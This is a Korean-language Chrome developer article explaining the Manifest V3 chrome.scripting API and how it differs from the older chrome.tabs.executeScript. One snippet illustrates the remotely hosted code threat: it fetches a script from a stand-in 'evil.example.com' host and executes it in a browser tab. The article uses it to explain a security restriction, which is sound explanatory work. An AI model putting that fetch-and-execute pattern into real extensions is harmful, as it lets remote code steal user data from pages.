chrome.scripting 소개

Manifest V3에는 Chrome의 확장 프로그램 플랫폼에 여러 변경사항이 도입되었습니다. 이 게시물에서는 주목할 만한 변경사항 중 하나인 chrome.scripting API의 도입으로 도입된 동기와 변경사항을 살펴봅니다.

chrome.scripting이란 무엇인가요?

이름에서 알 수 있듯이 chrome.scripting는 스크립트 및 스타일 삽입 기능을 담당하며 Manifest V3에 도입된 새로운 네임스페이스입니다.

이전에 Chrome 확장 프로그램을 만든 개발자는 chrome.tabs.executeScriptchrome.tabs.insertCSS와 같은 Tabs API의 Manifest V2 메서드에 익숙할 수 있습니다. 이러한 메서드를 사용하면 확장 프로그램이 페이지에 스크립트와 스타일시트를 각각 삽입할 수 있습니다. Manifest V3에서는 이러한 기능이 chrome.scripting로 이동되었으며 향후 새로운 기능으로 이 API를 확장할 계획입니다.

새 API를 만들어야 하는 이유

이와 같은 변화로 인해 가장 먼저 제기되는 질문 중 하나는 "왜?"입니다.

Chrome팀은 몇 가지 요인으로 인해 스크립팅을 위한 새로운 네임스페이스를 도입하기로 했습니다. 먼저 Tabs API는 기능을 위한 일종의 쓰레기 창입니다. 둘째, 기존 executeScript API를 브레이킹 체인지해야 했습니다. 셋째, 확장 프로그램의 스크립팅 기능을 확장하고 싶었습니다 이러한 우려는 하우스 스크립팅 기능을 위한 새 네임스페이스의 필요성을 명확하게 정의했습니다.

쓰레기통

지난 몇 년 동안 확장 프로그램팀을 괴롭힌 문제 중 하나는 chrome.tabs API가 과부하된다는 것입니다. 이 API가 처음 도입되었을 때 API에서 제공하는 대부분의 기능은 브라우저 탭의 광범위한 개념과 관련이 있었습니다. 하지만 그 당시에도 꽤 잡음이 많았고 몇 년 동안 이 컬렉션은 계속 늘어났습니다.

Manifest V3가 출시될 무렵에는 Tabs API가 기본 탭 관리, 선택 관리, 창 구성, 메시지, 확대/축소 제어, 기본 탐색, 스크립팅, 기타 몇 가지 소형 기능을 포괄하도록 확장되었습니다. 이 모든 것이 중요하지만 Google에서 플랫폼을 관리하고 개발자 커뮤니티의 요청을 고려할 때 Chrome팀에는 시작 시 큰 부담이 될 수 있습니다.

또 다른 복잡한 요소는 tabs 권한이 잘 이해되지 않는다는 것입니다. 특정 API (예: storage)에 대한 액세스를 제한하는 다른 많은 권한이 있지만 이 권한은 Tab 인스턴스의 민감한 속성에만 확장 프로그램 액세스 권한을 부여한다는 점에서 약간 특이합니다 (확장에 따라 Windows API에도 영향을 줌). 당연하게도 많은 확장 프로그램 개발자는 Tabs API(chrome.tabs.create 또는 더 포괄적으로 chrome.tabs.executeScript)의 메서드에 액세스하려면 이 권한이 필요하다고 잘못 생각합니다. Tabs API 외부로 기능을 이동하면 이러한 혼란을 해소하는 데 도움이 됩니다.

브레이킹 체인지

Manifest V3를 설계할 때 해결하고자 했던 주요 문제 중 하나는 '원격 호스팅 코드'로 사용 설정된 멀웨어 및 멀웨어였습니다. 이 코드는 실행되지만 확장 프로그램 패키지에 포함되지 않은 코드입니다. 악성 확장 프로그램 작성자는 원격 서버에서 가져온 스크립트를 실행하여 사용자 데이터를 도용하고, 멀웨어를 삽입하고, 감지를 회피하는 경우가 많습니다. 선량한 행위자들도 이 기능을 사용하지만, 이 기능을 그대로 유지하기에는 궁극적으로 너무 위험하다고 판단했습니다.

확장 프로그램이 번들로 묶이지 않은 코드를 실행할 수 있는 몇 가지 방법이 있지만 Manifest V2 chrome.tabs.executeScript 메서드입니다. 이 메서드를 사용하면 확장 프로그램이 타겟 탭에서 임의의 코드 문자열을 실행할 수 있습니다. 따라서 악성 개발자가 원격 서버에서 임의의 스크립트를 가져와 확장 프로그램이 액세스할 수 있는 모든 페이지 내에서 실행할 수 있습니다. 우리는 원격 코드 문제를 해결하려면 이 기능을 중단해야 한다는 것을 알고 있었습니다.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

또한 Manifest V2 버전의 디자인에서 좀 더 미묘한 다른 문제를 해결하고 API를 더 세련되고 예측 가능한 도구로 만들고 싶었습니다.

Tabs API 내에서 이 메서드의 서명을 변경할 수도 있지만 이러한 브레이킹 체인지와 새로운 기능 도입 (다음 섹션에서 설명) 사이에는 명확한 중단이 모두에게 더 쉬울 것이라고 생각했습니다.

스크립팅 기능 확장

Manifest V3 디자인 프로세스에 포함된 또 다른 고려사항은 Chrome의 확장 프로그램 플랫폼에 스크립트 기능을 추가로 도입하는 것이었습니다. 특히 Google에서는 동적 콘텐츠 스크립트 지원을 추가하고 executeScript 메서드의 기능을 확장하고자 했습니다.

동적 콘텐츠 스크립트 지원은 Chromium에서 오랫동안 기다려온 기능 요청입니다. 현재 Manifest V2 및 V3 Chrome 확장 프로그램은 manifest.json 파일에서 콘텐츠 스크립트를 정적으로 선언할 수만 있습니다. 플랫폼은 새 콘텐츠 스크립트를 등록하거나 콘텐츠 스크립트 등록을 조정하거나 런타임에 콘텐츠 스크립트를 등록 취소하는 방법을 제공하지 않습니다.

Manifest V3에서 이 기능 요청을 처리하고 싶다는 생각은 들었지만 기존 API 중 어떤 API도 적합한 선택이라고 생각하지 않았습니다. Google은 또한 Content Scripts API에서 Firefox와의 조정을 고려했지만 초기에 이 접근 방식의 몇 가지 주요 단점을 확인했습니다. 첫째, 호환되지 않는 서명 (예: code 속성 지원 중단)이 있다는 사실을 알고 있었습니다. 둘째, API에 다른 설계 제약 조건이 있었습니다 (예: 서비스 워커의 수명을 넘어서는 등록을 해야 하는 경우). 마지막으로, 이 네임스페이스는 확장 프로그램의 스크립팅을 더 광범위하게 고려하는 콘텐츠 스크립트 기능으로도 보냅니다.

executeScript 측면에서는 이 API가 지원되는 Tabs API 버전 이상으로 할 수 있는 작업을 확장하려고 했습니다. 더 구체적으로 말하면 함수와 인수를 지원하고, 특정 프레임을 더 쉽게 타겟팅하고, '탭'이 아닌 컨텍스트를 타겟팅하고 싶었습니다.

앞으로는 확장 프로그램이 개념적으로 '탭'에 매핑되지 않는 설치된 PWA 및 기타 컨텍스트와 상호작용하는 방법도 고려하고 있습니다.

tab.executeScript와scripting.executeScript 간 변경사항

이 게시물의 나머지 부분에서는 chrome.tabs.executeScriptchrome.scripting.executeScript의 유사점과 차이점을 자세히 살펴보겠습니다.

인수를 사용하여 함수 삽입

원격 호스팅 코드 제한에 비추어 플랫폼이 어떻게 발전해야 할지 고려하면서 임의 코드 실행의 성능과 정적 콘텐츠 스크립트만 허용하는 것 사이의 균형을 찾고 싶었습니다. 그래서 해결책은 확장 프로그램이 콘텐츠 스크립트로 함수를 삽입하고 값의 배열을 인수로 전달할 수 있도록 하는 것이었습니다.

지나치게 단순화된 예를 간단히 살펴보겠습니다. 사용자가 확장 프로그램의 작업 버튼 (툴바에 있는 아이콘)을 클릭할 때 사용자에게 이름으로 인사하는 스크립트를 삽입하려고 한다고 가정해 보겠습니다. Manifest V2에서는 코드 문자열을 동적으로 구성하고 현재 페이지에서 이 스크립트를 실행할 수 있습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 확장 프로그램은 확장 프로그램과 함께 번들로 제공되지 않은 코드를 사용할 수 없지만, Google의 목표는 Manifest V2 확장 프로그램에 사용 설정된 임의 코드 블록의 역동적인 일부를 유지하는 것이었습니다. 함수 및 인수 접근 방식을 사용하면 Chrome 웹 스토어 검토자, 사용자 및 기타 관심 당사자가 확장 프로그램의 위험을 더 정확하게 평가하는 동시에 개발자가 사용자 설정 또는 애플리케이션 상태에 따라 확장 프로그램의 런타임 동작을 수정할 수 있습니다.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

프레임 타겟팅

또한, 수정된 API에서 개발자가 프레임과 상호작용하는 방식을 개선하고 싶었습니다. executeScript의 Manifest V2 버전을 사용하면 개발자가 탭의 모든 프레임 또는 탭의 특정 프레임을 타겟팅할 수 있었습니다. chrome.webNavigation.getAllFrames를 사용하여 탭의 모든 프레임 목록을 가져올 수 있습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3에서는 옵션 객체의 선택적 frameId 정수 속성을 선택적 정수의 frameIds 배열로 대체했습니다. 이를 통해 개발자는 단일 API 호출로 여러 프레임을 타겟팅할 수 있습니다.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

스크립트 삽입 결과

Manifest V3에서 스크립트 삽입 결과를 반환하는 방식도 개선되었습니다. '결과'는 기본적으로 스크립트에서 평가되는 최종 문입니다. Chrome DevTools 콘솔에서 eval()를 호출하거나 코드 블록을 실행할 때 반환되는 값이지만 프로세스 간에 결과를 전달하기 위해 직렬화된 값과 같다고 생각하면 됩니다.

Manifest V2에서 executeScriptinsertCSS는 일반 실행 결과의 배열을 반환합니다. 삽입 지점이 하나만 있는 경우에는 문제가 없지만 여러 프레임에 삽입할 때 결과 순서가 보장되지 않으므로 어떤 결과가 어떤 프레임과 연결되어 있는지 알 수 있는 방법이 없습니다.

구체적인 예로 Manifest V2와 동일한 확장 프로그램의 Manifest V3 버전에서 반환된 results 배열을 살펴보겠습니다. 두 버전의 확장 프로그램은 동일한 콘텐츠 스크립트를 삽입하며 동일한 데모 페이지에서 결과를 비교합니다.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 버전을 실행하면 [1, 0, 5] 배열이 반환됩니다. 다음 중 기본 프레임에 해당하는 결과와 iframe에 해당하는 결과는 무엇인가요? 반환 값은 알려주지 않으므로 확실하지 않습니다.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

이제 Manifest V3 버전에서 results에 평가 결과 배열 대신 결과 객체의 배열이 포함되며 결과 객체는 각 결과의 프레임 ID를 명확하게 식별합니다. 이렇게 하면 개발자가 훨씬 더 쉽게 결과를 활용하고 특정 프레임에 조치를 취할 수 있습니다.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

마무리

매니페스트 버전 급증은 확장 프로그램 API를 재고하고 현대화할 수 있는 드문 기회가 됩니다. Manifest V3의 목표는 개발자 환경을 개선하는 동시에 확장 프로그램을 더 안전하게 만들어 최종 사용자 환경을 개선하는 것입니다. Manifest V3에 chrome.scripting를 도입함으로써 Google은 Tabs API를 정리하고, 더 안전한 확장 프로그램 플랫폼을 위해 executeScript를 재구성하며, 올해 말에 출시될 새로운 스크립팅 기능의 토대를 마련할 수 있었습니다.